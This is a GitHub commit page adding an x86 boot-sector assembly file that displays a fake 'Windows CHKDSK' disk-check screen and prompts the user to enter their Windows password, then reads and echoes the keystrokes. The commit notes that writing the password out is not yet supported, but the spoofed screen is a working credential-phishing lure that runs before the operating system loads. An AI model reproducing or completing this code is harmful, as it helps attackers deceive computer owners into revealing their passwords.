Skip to content

Commit

Permalink
first commit, reads chars and prints, no backspace or asterisk suppor…
Browse files Browse the repository at this point in the history
…t, no writing
  • Loading branch information
alexwebr committed Sep 18, 2012
0 parents commit 7830258
Showing 1 changed file with 66 additions and 0 deletions.
66 changes: 66 additions & 0 deletions bootloader.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
[BITS 16]
[ORG 0x7C00]
jmp start

%macro biosprint 1 ; This macro lets us print a message without manually loading
mov si, %1
call puts
%endmacro

puts: ; print string - expects that strings are terminated by a 0, and that SI po
mov al, [si]
cmp BYTE al, 0
je exit
inc si
call putc
jmp puts
exit:
ret

putc: ; Print a char to screen
mov ah, 0x0E
mov bh, 0x00
mov bl, 0x11
int 0x10
ret

sleep:
;mov eax, dword 0xffffffff
mov eax, 200
top:
cmp eax, 5
jbe end
dec eax
jmp top
end:
ret

; Declarations
blank db 13, 10, 0
checkfs db 'Windows CHKDSK', 13, 10, '==============', 13, 10, 13, 10, 'Checking file system on C:', 0
ntfs db 13, 10, 'The type of file system is NTFS.', 13, 10, 13, 10, 'One of your disks needs to be checked for consistency. You', 13, 10, 'must complete this disk check before using your computer.', 13, 10, 13, 10, 'Please enter your Windows password to continue: ', 0

start:
mov ax, cs
mov ds, ax ; This is because DS has a stupid value when it starts, so we just
xor ax, ax

biosprint checkfs
call sleep
biosprint ntfs

readchar:
mov ah, 00h
int 0x16
cmp al, 13
je done_password
call putc
jmp readchar

done_password:

biosprint checkfs
jmp $

times 510 - ($ - $$) db 0
dw 0xAA55

0 comments on commit 7830258

Please sign in to comment.